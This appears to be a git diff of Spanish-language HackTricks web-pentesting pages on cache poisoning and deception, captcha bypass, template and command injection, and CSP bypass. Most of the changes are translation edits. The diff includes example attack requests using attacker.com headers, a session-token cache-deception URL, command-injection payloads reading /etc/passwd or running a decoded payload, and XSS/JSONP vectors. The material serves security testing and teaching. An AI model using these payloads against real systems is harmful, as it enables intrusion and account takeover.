lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión. +- **Análisis Potencial de Clickjacking**: Detección de páginas HTML de extensiones con la directiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) establecida. Estas son potencialmente vulnerables a clickjacking dependiendo del propósito de las páginas. +- **Visor de Advertencias de Permisos**: que muestra una lista de todas las advertencias de permisos de Chrome que se mostrarán cuando un usuario intente instalar la extensión. - **Función(es) Peligrosa(s)**: muestra la ubicación de funciones peligrosas que podrían ser potencialmente explotadas por un atacante (por ejemplo, funciones como innerHTML, chrome.tabs.executeScript). -- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender la superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión. -- Tanto los escáneres de Función(es) Peligrosa(s) como de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas: +- **Punto(s) de Entrada**: muestra dónde la extensión recibe entrada de usuario/externa. Esto es útil para entender el área de superficie de una extensión y buscar puntos potenciales para enviar datos maliciosamente elaborados a la extensión. +- Tanto el escáner de Función(es) Peligrosa(s) como el de Punto(s) de Entrada tienen lo siguiente para sus alertas generadas: - Fragmento de código relevante y línea que causó la alerta. - Descripción del problema. - Un botón "Ver Archivo" para ver el archivo fuente completo que contiene el código. @@ -685,7 +685,7 @@ Aunque las extensiones de navegador tienen una **superficie de ataque limitada** - Descargar la extensión original. - Descargar una versión embellecida de la extensión (HTML y JavaScript auto formateados). - Caché automática de resultados de escaneo, ejecutar un escaneo de extensión tomará un buen tiempo la primera vez que lo ejecute. Sin embargo, la segunda vez, suponiendo que la extensión no se haya actualizado, será casi instantáneo debido a que los resultados están en caché. -- URLs de Reporte Enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish. +- URLs de Informe enlazables, fácilmente enlazar a alguien más a un informe de extensión generado por tarnish. ### [Neto](https://github.com/elevenpaths/neto) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md index d28c94d8c..47629ffc4 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md @@ -7,6 +7,7 @@ Esta página va a abusar de una vulnerabilidad de ClickJacking en una extensión del navegador.\ Si no sabes qué es ClickJacking, consulta: + {{#ref}} ../clickjacking.md {{#endref}} @@ -75,7 +76,7 @@ src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html"> ``` ## Ejemplo de Metamask -Una [**publicación de blog sobre un ClickJacking en metamask se puede encontrar aquí**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). En este caso, Metamask solucionó la vulnerabilidad verificando que el protocolo utilizado para acceder a él era **`https:`** o **`http:`** (no **`chrome:`** por ejemplo): +Un [**artículo de blog sobre un ClickJacking en metamask se puede encontrar aquí**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). En este caso, Metamask solucionó la vulnerabilidad verificando que el protocolo utilizado para acceder a él era **`https:`** o **`http:`** (no **`chrome:`** por ejemplo):
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md index f785e5f09..5ad667d83 100644 --- a/src/pentesting-web/cache-deception/README.md +++ b/src/pentesting-web/cache-deception/README.md @@ -41,26 +41,26 @@ Podrías usar [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b ```html ``` -### Elicitar una respuesta dañina del servidor back-end +### Elicit a harmful response from the back-end server -Con el parámetro/cabecera identificada, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...) +Con el parámetro/cabecera identificado, verifica cómo está siendo **sanitizado** y **dónde** se está **reflejando** o afectando la respuesta de la cabecera. ¿Puedes abusar de ello de alguna manera (realizar un XSS o cargar un código JS controlado por ti? ¿realizar un DoS?...) -### Obtener la respuesta en caché +### Get the response cached -Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de obtener en la caché, esto podría tardar un tiempo, podrías necesitar intentarlo durante varios segundos. +Una vez que hayas **identificado** la **página** que puede ser abusada, qué **parámetro**/**cabecera** usar y **cómo** abusar de ello, necesitas hacer que la página se almacene en caché. Dependiendo del recurso que estés tratando de almacenar en caché, esto podría tomar algún tiempo, podrías necesitar intentarlo durante varios segundos. -La cabecera **`X-Cache`** en la respuesta podría ser muy útil, ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\ -La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso se almacenará en caché de nuevo: `Cache-Control: public, max-age=1800` +La cabecera **`X-Cache`** en la respuesta podría ser muy útil ya que puede tener el valor **`miss`** cuando la solicitud no fue almacenada en caché y el valor **`hit`** cuando está en caché.\ +La cabecera **`Cache-Control`** también es interesante para saber si un recurso está siendo almacenado en caché y cuándo será la próxima vez que el recurso será almacenado en caché de nuevo: `Cache-Control: public, max-age=1800` -Otra cabecera interesante es **`Vary`**. Esta cabecera se utiliza a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico. +Otra cabecera interesante es **`Vary`**. Esta cabecera se usa a menudo para **indicar cabeceras adicionales** que se tratan como **parte de la clave de caché** incluso si normalmente no están indexadas. Por lo tanto, si el usuario conoce el `User-Agent` de la víctima que está atacando, puede envenenar la caché para los usuarios que utilizan ese `User-Agent` específico. Una cabecera más relacionada con la caché es **`Age`**. Define el tiempo en segundos que el objeto ha estado en la caché del proxy. Al almacenar en caché una solicitud, ten **cuidado con las cabeceras que usas** porque algunas de ellas podrían ser **usadas inesperadamente** como **indexadas** y la **víctima necesitará usar esa misma cabecera**. Siempre **prueba** un Cache Poisoning con **diferentes navegadores** para verificar si está funcionando. -## Ejemplos de Explotación +## Exploiting Examples -### Ejemplo más fácil +### Easiest example Una cabecera como `X-Forwarded-For` se está reflejando en la respuesta sin sanitizar.\ Puedes enviar una carga útil básica de XSS y envenenar la caché para que todos los que accedan a la página sean XSSed: @@ -73,6 +73,7 @@ _Note que esto envenenará una solicitud a `/en?region=uk` no a `/en`_ ### Envenenamiento de caché para DoS + {{#ref}} cache-poisoning-to-dos.md {{#endref}} @@ -81,8 +82,8 @@ cache-poisoning-to-dos.md En **[este informe](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html)** se explica el siguiente escenario simple: -- El CDN almacenará en caché cualquier cosa bajo `/share/` -- El CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` +- La CDN almacenará en caché cualquier cosa bajo `/share/` +- La CDN NO decodificará ni normalizará `%2F..%2F`, por lo tanto, se puede usar como **traversal de ruta para acceder a otras ubicaciones sensibles que serán almacenadas en caché** como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` - El servidor web SÍ decodificará y normalizará `%2F..%2F`, y responderá con `/api/auth/session`, que **contiene el token de autenticación**. ### Usando el envenenamiento de caché web para explotar vulnerabilidades en el manejo de cookies @@ -97,7 +98,8 @@ Nota que si la cookie vulnerable es muy utilizada por los usuarios, las solicitu ### Generando discrepancias con delimitadores, normalización y puntos -Verifica: +Ver: + {{#ref}} cache-poisoning-via-url-discrepancies.md @@ -109,13 +111,14 @@ cache-poisoning-via-url-discrepancies.md Esto también se explica mejor en: + {{#ref}} cache-poisoning-via-url-discrepancies.md {{#endref}} ### Usando múltiples encabezados para explotar vulnerabilidades de envenenamiento de caché web -A veces necesitarás **explotar varias entradas no claveadas** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde se apunta la página por el redireccionamiento. +A veces necesitarás **explotar varias entradas sin clave** para poder abusar de una caché. Por ejemplo, puedes encontrar un **Redireccionamiento abierto** si configuras `X-Forwarded-Host` a un dominio controlado por ti y `X-Forwarded-Scheme` a `http`. **Si** el **servidor** está **reenviando** todas las **solicitudes HTTP** **a HTTPS** y usando el encabezado `X-Forwarded-Scheme` como el nombre de dominio para el redireccionamiento. Puedes controlar hacia dónde apunta la página por el redireccionamiento. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net @@ -133,7 +136,7 @@ X-Host: attacker.com ``` ### Fat Get -Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que James Kettle encontró en el sitio web de Github: +Envía una solicitud GET con la solicitud en la URL y en el cuerpo. Si el servidor web utiliza la del cuerpo pero el servidor de caché almacena en caché la de la URL, cualquier persona que acceda a esa URL utilizará en realidad el parámetro del cuerpo. Como la vulnerabilidad que encontró James Kettle en el sitio web de Github: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -146,7 +149,7 @@ Hay un laboratorio de Portswigger sobre esto: [https://portswigger.net/web-secur ### Ocultación de Parámetros -Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros no clave dentro de parámetros clave y abusar de ellos. +Por ejemplo, es posible separar **parámetros** en servidores ruby usando el carácter **`;`** en lugar de **`&`**. Esto podría usarse para poner valores de parámetros sin clave dentro de los que tienen clave y abusar de ellos. Laboratorio de Portswigger: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -174,7 +177,7 @@ Receta práctica (observada en un popular CDN/WAF): 2) En Burp Repeater, prepara un grupo de dos solicitudes y usa "Enviar grupo en paralelo" (el modo de paquete único funciona mejor): - Primera solicitud: GET a una ruta de recurso `.js` en el mismo origen mientras envías tu `User-Agent` malicioso. - Inmediatamente después: GET a la página principal (`/`). -3) La carrera de enrutamiento CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`). +3) La carrera de enrutamiento del CDN/WAF más el `.js` auto-cacheado a menudo siembra una variante de HTML en caché contaminada que luego se sirve a otros visitantes que comparten las mismas condiciones de clave de caché (por ejemplo, las mismas dimensiones `Vary` como `User-Agent`). Ejemplo de carga útil de encabezado (para exfiltrar cookies no HttpOnly): ``` @@ -188,7 +191,7 @@ Consejos operativos: Impacto: -- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado. +- Si las cookies de sesión no son `HttpOnly`, es posible un ATO de un clic cero al exfiltrar masivamente `document.cookie` de todos los usuarios a los que se les sirve el HTML contaminado. Defensas: @@ -200,11 +203,11 @@ Defensas: ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así que la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no tenía la carga útil dentro de ella, solo host, ruta y consulta. +ATS reenvió el fragmento dentro de la URL sin eliminarlo y generó la clave de caché solo usando el host, la ruta y la consulta (ignorando el fragmento). Así, la solicitud `/#/../?r=javascript:alert(1)` se envió al backend como `/#/../?r=javascript:alert(1)` y la clave de caché no contenía la carga útil, solo el host, la ruta y la consulta. ### GitHub CP-DoS -Enviar un valor incorrecto en el encabezado content-type activó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados. +Enviar un valor incorrecto en el encabezado content-type desencadenó una respuesta 405 en caché. La clave de caché contenía la cookie, por lo que solo era posible atacar a usuarios no autenticados. ### GitLab + GCP CP-DoS @@ -228,7 +231,7 @@ Algunos desarrolladores bloquean solicitudes con user-agents que coinciden con l ### Campos de Encabezado Ilegales -El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente activar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché. +El [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) especifica los caracteres aceptables en los nombres de encabezados. Los encabezados que contienen caracteres fuera del rango **tchar** especificado deberían idealmente desencadenar una respuesta 400 Bad Request. En la práctica, los servidores no siempre se adhieren a este estándar. Un ejemplo notable es Akamai, que reenvía encabezados con caracteres no válidos y almacena en caché cualquier error 400, siempre que el encabezado `cache-control` no esté presente. Se identificó un patrón explotable donde enviar un encabezado con un carácter ilegal, como `\`, resultaría en un error 400 Bad Request que se podía almacenar en caché. ### Encontrando nuevos encabezados @@ -250,16 +253,16 @@ Otras cosas para probar: - _Usa extensiones menos conocidas como_ `.avif` Otro ejemplo muy claro se puede encontrar en este informe: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -En el ejemplo, se explica que si cargas una página inexistente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\ +En el ejemplo, se explica que si cargas una página no existente como _http://www.example.com/home.php/non-existent.css_, el contenido de _http://www.example.com/home.php_ (**con la información sensible del usuario**) se devolverá y el servidor de caché guardará el resultado.\ Luego, el **atacante** puede acceder a _http://www.example.com/home.php/non-existent.css_ en su propio navegador y observar la **información confidencial** de los usuarios que accedieron antes. Ten en cuenta que el **proxy de caché** debe estar **configurado** para **almacenar en caché** archivos **basados** en la **extensión** del archivo (_.css_) y no basarse en el tipo de contenido. En el ejemplo _http://www.example.com/home.php/non-existent.css_ tendrá un tipo de contenido `text/html` en lugar de un tipo MIME `text/css` (que es el esperado para un archivo _.css_). -Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Aprende aquí cómo realizar [ataques de Engaño de Caché abusando del HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). ## Herramientas Automáticas -- [**toxicache**](https://github.com/xhzeem/toxicache): Escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección. +- [**toxicache**](https://github.com/xhzeem/toxicache): escáner de Golang para encontrar vulnerabilidades de contaminación de caché web en una lista de URLs y probar múltiples técnicas de inyección. ## Referencias @@ -269,7 +272,7 @@ Aprende aquí cómo realizar [ataques de Engaño de Caché abusando de HTTP Requ - [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) - [https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9](https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9) - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) -- [Cómo encontré un 0-Clic de toma de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) +- [Cómo encontré un 0-Clic de toma de control de cuenta en un BBP público y lo aproveché para acceder a funcionalidades de nivel administrativo](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) diff --git a/src/pentesting-web/captcha-bypass.md b/src/pentesting-web/captcha-bypass.md index 395b8daf7..378efbcf0 100644 --- a/src/pentesting-web/captcha-bypass.md +++ b/src/pentesting-web/captcha-bypass.md @@ -7,20 +7,20 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar las funciones de entrada de usuario, se pueden emplear diversas técnicas. El objetivo no es socavar la seguridad, sino agilizar el proceso de prueba. Aquí hay una lista completa de estrategias: 1. **Manipulación de Parámetros**: -- **Omitir el Parámetro de Captcha**: Evitar enviar el parámetro de captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de datos, como cambiar entre datos de formulario y JSON. -- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero dejado vacío. +- **Omitir el Parámetro de Captcha**: Evitar enviar el parámetro de captcha. Experimentar con cambiar el método HTTP de POST a GET u otros verbos, y alterar el formato de los datos, como cambiar entre datos de formulario y JSON. +- **Enviar Captcha Vacío**: Enviar la solicitud con el parámetro de captcha presente pero vacío. 2. **Extracción y Reutilización de Valores**: - **Inspección del Código Fuente**: Buscar el valor del captcha dentro del código fuente de la página. - **Análisis de Cookies**: Examinar las cookies para ver si el valor del captcha está almacenado y se reutiliza. -- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tener en cuenta que pueden expirar en cualquier momento. +- **Reutilizar Valores de Captcha Antiguos**: Intentar usar valores de captcha previamente exitosos nuevamente. Tenga en cuenta que pueden expirar en cualquier momento. - **Manipulación de Sesiones**: Intentar usar el mismo valor de captcha en diferentes sesiones o el mismo ID de sesión. 3. **Automatización y Reconocimiento**: - **Captchas Matemáticos**: Si el captcha implica operaciones matemáticas, automatizar el proceso de cálculo. - **Reconocimiento de Imágenes**: -- Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, se podría identificar cada imagen por su hash MD5. +- Para captchas que requieren leer caracteres de una imagen, determinar manual o programáticamente el número total de imágenes únicas. Si el conjunto es limitado, podría identificar cada imagen por su hash MD5. - Utilizar herramientas de Reconocimiento Óptico de Caracteres (OCR) como [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) para automatizar la lectura de caracteres de imágenes. 4. **Técnicas Adicionales**: -- **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo dado y si este límite se puede eludir o restablecer. +- **Pruebas de Límite de Tasa**: Verificar si la aplicación limita el número de intentos o envíos en un período de tiempo determinado y si este límite se puede eludir o restablecer. - **Servicios de Terceros**: Emplear servicios o APIs de resolución de captcha que ofrezcan reconocimiento y solución automatizada de captchas. - **Rotación de Sesiones e IP**: Cambiar frecuentemente los IDs de sesión y las direcciones IP para evitar la detección y el bloqueo por parte del servidor. - **Manipulación de User-Agent y Encabezados**: Alterar el User-Agent y otros encabezados de solicitud para imitar diferentes navegadores o dispositivos. @@ -30,7 +30,7 @@ Para **eludir** el captcha durante las **pruebas del servidor** y automatizar la ### [CapSolver](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) -[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, empoderando la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios. +[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) es un servicio impulsado por IA que se especializa en resolver automáticamente varios tipos de captchas, potencia la recolección de datos al ayudar a los desarrolladores a superar fácilmente los desafíos de captcha encontrados durante el Web Scraping. Soporta captchas como **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest y Cloudflare turnstile, entre otros**. Para los desarrolladores, Capsolver ofrece opciones de integración de API detalladas en [**documentación**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)**,** facilitando la integración de la solución de captcha en aplicaciones. También proporcionan extensiones de navegador para [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) y [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/), facilitando el uso de su servicio directamente dentro de un navegador. Diferentes paquetes de precios están disponibles para acomodar diversas necesidades, asegurando flexibilidad para los usuarios. {{#ref}} https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 9a18b5e94..3ebc0ff49 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -4,7 +4,7 @@ ## Resumen -Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar código JavaScript** arbitrario en el navegador de la víctima. +Es como una [**Inyección de Plantillas del Lado del Servidor**](ssti-server-side-template-injection/index.html) pero en el **cliente**. La **SSTI** puede permitirte **ejecutar código** en el servidor remoto, la **CSTI** podría permitirte **ejecutar JavaScript** arbitrario en el navegador de la víctima. **Probar** esta vulnerabilidad es muy **similar** al caso de **SSTI**, el intérprete espera **una plantilla** y la ejecutará. Por ejemplo, con una carga útil como `{{ 7-7 }}`, si la aplicación es **vulnerable** verás un `0`, y si no, verás el original: `{{ 7-7 }}` @@ -71,6 +71,7 @@ javascript:alert(1)%252f%252f..%252fcss-images ## **Lista de Detección de Fuerza Bruta** + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt {{#endref}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b2a3d9517..d92469a35 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -8,7 +8,7 @@ Una **inyección de comandos** permite la ejecución de comandos arbitrarios del ### Contexto -Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto entre comillas** (usando `"` o `'`) antes de los comandos. +Dependiendo de **dónde se esté inyectando tu entrada**, es posible que necesites **terminar el contexto citado** (usando `"` o `'`) antes de los comandos. ## Inyección/Ejecución de Comandos ```bash @@ -29,9 +29,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful > /var/www/html/out.txt #Try to redirect the output to a file < /etc/passwd #Try to send some input to the command ``` -### **Bypasses de Limitación** +### **Limitaciones** Bypasses + +Si estás intentando ejecutar **comandos arbitrarios dentro de una máquina linux** te interesará leer sobre estos **Bypasses:** -Si estás tratando de ejecutar **comandos arbitrarios dentro de una máquina linux**, te interesará leer sobre estos **Bypasses:** {{#ref}} ../linux-hardening/bypass-bash-restrictions/ @@ -45,7 +46,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Parámetros -Aquí están los 25 parámetros principales que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Aquí están los 25 principales parámetros que podrían ser vulnerables a la inyección de código y vulnerabilidades similares de RCE (de [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -113,19 +114,45 @@ powershell C:**2\n??e*d.*? # notepad ``` #### Linux + {{#ref}} ../linux-hardening/bypass-bash-restrictions/ {{#endref}} +### Node.js `child_process.exec` vs `execFile` + +Al auditar back-ends de JavaScript/TypeScript, a menudo te encontrarás con la API `child_process` de Node.js. +```javascript +// Vulnerable: user-controlled variables interpolated inside a template string +const { exec } = require('child_process'); +exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => { +/* … */ +}); +``` +`exec()` genera un **shell** (`/bin/sh -c`), por lo tanto, cualquier carácter que tenga un significado especial para el shell (comillas invertidas, `;`, `&&`, `|`, `$()`, …) resultará en **inyección de comandos** cuando la entrada del usuario se concatene en la cadena. + +**Mitigación:** usa `execFile()` (o `spawn()` sin la opción `shell`) y proporciona **cada argumento como un elemento de matriz separado** para que no se involucre ningún shell: +```javascript +const { execFile } = require('child_process'); +execFile('/usr/bin/do-something', [ +'--id_user', id_user, +'--payload', JSON.stringify(payload) +]); +``` +Caso del mundo real: *Synology Photos* ≤ 1.7.0-0794 era explotable a través de un evento WebSocket no autenticado que colocaba datos controlados por el atacante en `id_user`, que luego se incrustaban en una llamada `exec()`, logrando RCE (Pwn2Own Irlanda 2024). + ## Lista de Detección de Fuerza Bruta + {{#ref}} https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt {{#endref}} ## Referencias +- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) +- [Extracción de archivos cifrados de Synology – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index dba685cfe..7da70285c 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -8,7 +8,7 @@ La Política de Seguridad de Contenidos (CSP) se reconoce como una tecnología d La implementación de CSP se lleva a cabo a través de **encabezados de respuesta** o incorporando **elementos meta en la página HTML**. Siguiendo esta política, los navegadores aplican proactivamente estas estipulaciones y bloquean inmediatamente cualquier violación detectada. -- Implemented via response header: +- Implementado a través del encabezado de respuesta: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` @@ -21,7 +21,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; CSP puede ser aplicado o monitoreado usando estos encabezados: - `Content-Security-Policy`: Aplica la CSP; el navegador bloquea cualquier violación. -- `Content-Security-Policy-Report-Only`: Usado para monitoreo; reporta violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción. +- `Content-Security-Policy-Report-Only`: Usado para monitoreo; informa violaciones sin bloquearlas. Ideal para pruebas en entornos de pre-producción. ### Defining Resources @@ -69,8 +69,8 @@ object-src 'none'; - `'unsafe-eval'`: Permite el uso de `eval()` y métodos similares, no recomendado por razones de seguridad. - `'unsafe-hashes'`: Habilita controladores de eventos en línea específicos. - `'unsafe-inline'`: Permite el uso de recursos en línea como ` @@ -243,7 +243,7 @@ ng-init="c.init()" ``` -Más [**payloads de este informe**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): +Más [**payloads de este artículo**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/): ```html @@ -274,7 +274,7 @@ Es posible abusar de Google Apps Script para recibir información en una página ```http Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none'; ``` -Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca pueden ser eludidos usando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: +Escenarios como este donde `script-src` está configurado en `self` y un dominio particular que está en la lista blanca puede ser eludido utilizando JSONP. Los puntos finales de JSONP permiten métodos de callback inseguros que permiten a un atacante realizar XSS, carga útil en funcionamiento: ```html "> "> @@ 